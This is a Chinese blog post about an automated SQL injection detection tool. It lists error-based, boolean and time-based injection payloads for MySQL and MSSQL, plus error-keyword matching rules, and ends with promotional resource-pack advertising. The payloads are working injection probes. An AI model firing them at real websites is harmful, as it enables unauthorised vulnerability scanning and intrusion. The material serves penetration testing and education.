高效检测 SQL 注入漏洞,自动化实战经验分享,从零基础到精通,收藏这篇就够了!

在渗透测试项目中,经常会收集大量的接口信息,为了提高效率,通常会使用工具来完成自动化测试,针对大量接口的漏洞探测,xray 这方面做的非常不错,但对于 POST 请求,探测方式只能采用被动请求或逐个接口测试的方式。

但是我在实际的工作中,需要针对大量 GET、POST 接口和参数做漏洞探测,而目前比较关注的是 SQL 注入漏洞的检测,所以基于 Xray 关于 SQL 注入检测的 payload,自己完成了一个自动检测 SQL 注入的工具。

今天就来分享一下整个工具的检测逻辑,有兴趣的朋友可以加入信安之路知识星球,注册文库后即可下载源代码进行查看和使用。

检测步骤

整个测试过程分为五步:

1、请求 URL 接口,判断其是否存在,避免做无用功

2、基础判断,添加一些特殊字符(如单引号、双引号、括号等),判断页面是否发生变化,如果发生变化,且在页面中出现报错信息,则进一步使用报错注入的语句进行判断,是否存在漏洞,用到的 payload 如下:

#判断报错的漏洞类型执行 payload 计算 1 的 md5 值 c4ca4238a0b923820dcc509a6f75849``error_mysql_payloads = ["extractvalue(1,concat(char(126),md5(1)))", "1/**/and/**/extractvalue(1,concat(char(126),md5(1)))", "'and/**/extractvalue(1,concat(char(126),md5(1)))and'",")/**/AND/**/extractvalue(1,concat(char(126),md5(1)))/**/IN/**/(1", "')/**/AND/**/extractvalue(1,concat(char(126),md5(1)))/**/IN/**/('a"]``error_mssql_payloads = ["convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))", "1/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))","'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))>'0", ")/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))/**/in/**/(1", "')/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))/**/in/**/('a"]

3、针对数字型参数,通过减号验证漏洞是否存在,比如 ID 为 101-1 的结果是否与 ID 为 100 的结果一致,如果一致则认为该参数存在漏洞

4、针对参数进行布尔注入验证,例如常用的 and 1=1 这样的参数,主要 payload 参考:

#判断是否存在 bool 型注入,计算页面相似度``bool_common_payload = [["1/**/and+3=3", "1/**/and+3=6"], ["'and'c'='c", "'and'd'='f"], ["%'and'%'='", "%'and'%'='d"]]

5、最后检查参数是否存在延时注入,通过判断延时的请求时间来判断是否存在注入,延时 payload 参考:

time_common_payload =[["'and(select*from(select+sleep(6))a/**/union/**/select+1)='", "'and(select*from(select+sleep(1))a/**/union/**/select+1)='"], ["(select*from(select+sleep(6)union/**/select+1)a)", "(select*from(select+sleep(1)union/**/select+1)a)"],["/**/and(select+1)>0waitfor/**/delay'0:0:6'/**/", "/**/and(select+1)>0waitfor/**/delay'0:0:1'/**/"], ["'and(select+1)>0waitfor/**/delay'0:0:6", "'and(select+1)>0waitfor/**/delay'0:0:1"]]

关键点

在实现的过程中,最为关键的部分就是判断两次请求的页面是否一致,并且排除一些错误干扰,主要有以下几点:

1、状态码判断,两次请求的状态码是否一致

2、错误信息判断,根据报错的关键词进行匹配,比如:

error_mysql_infolist = ["SQL syntax"]``error_mssql_infolist = ["Exception", "SQL Server", "80040e14", "引号不完整"]``error_access_infolist = ["Microsoft JET Database Engine"]

3、页面相似度判断,计算两次请求的页面相似度,使用的是 github 上分享的相似度计算

https://github.com/SPuerBRead/HTMLSimilarity

4、判断页面是否被 WAF 拦截,将 WAF 检测应用其中,针对存在 WAF 的接口,暂时跳过

5、针对一些 PHP 的框架,参数中有些路径啥的无需探测,增加了黑名单参数关键词,比如:

#黑名单参数名``black_parma = ["method", "mod", "s", "act", "Action", "a", "m", "c"]``   

6、在参数中增加检测 payload 时,除了报错注入检测,其他检测不应该出现非正常响应,所以定义了一个黑名单响应码列表:

black_code = [-1, 0, 404, 403, 500, 503, 405, 999]

实战测试

1、报错注入

image-20250218104104036

程序逻辑设置,只要存在报错注入,且能执行 md5 函数,则跳出检测,因为可以百分之百确定存在注入漏洞。

2、数字注入

案例只检测出数字注入,没有检测出布尔注入,通常这两个是同时存在的,可能是 payload 的问题:

image-20250218102055907

使用 SQLmap 进行验证:

image-20250218102129101

sqlmap 检测出了布尔注入,而脚本未检测出。

3、布尔注入

image-20250218104814534

使用 sqlmap 进行验证:

image-20250218104841004

该案例只检测出目标存在布尔注入,跟脚本检测结果相同。

4、时间盲注

案例中只检测到时间盲注,为检测到其他注入方式:

image-20250218103736843

使用 SQLmap 进行验证:

image-20250218103849149

从结果上看,工具在验证方面还存在可以优化的部分,因为 sqlmap 检测出来了布尔注入,而该脚本未能实现。

👇👇👇

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取,或微信扫描下方二维码领取~

**读者福利 |** 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

在这里插入图片描述

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或点击链接免费领取~
**读者福利 |** 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

在这里插入图片描述

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值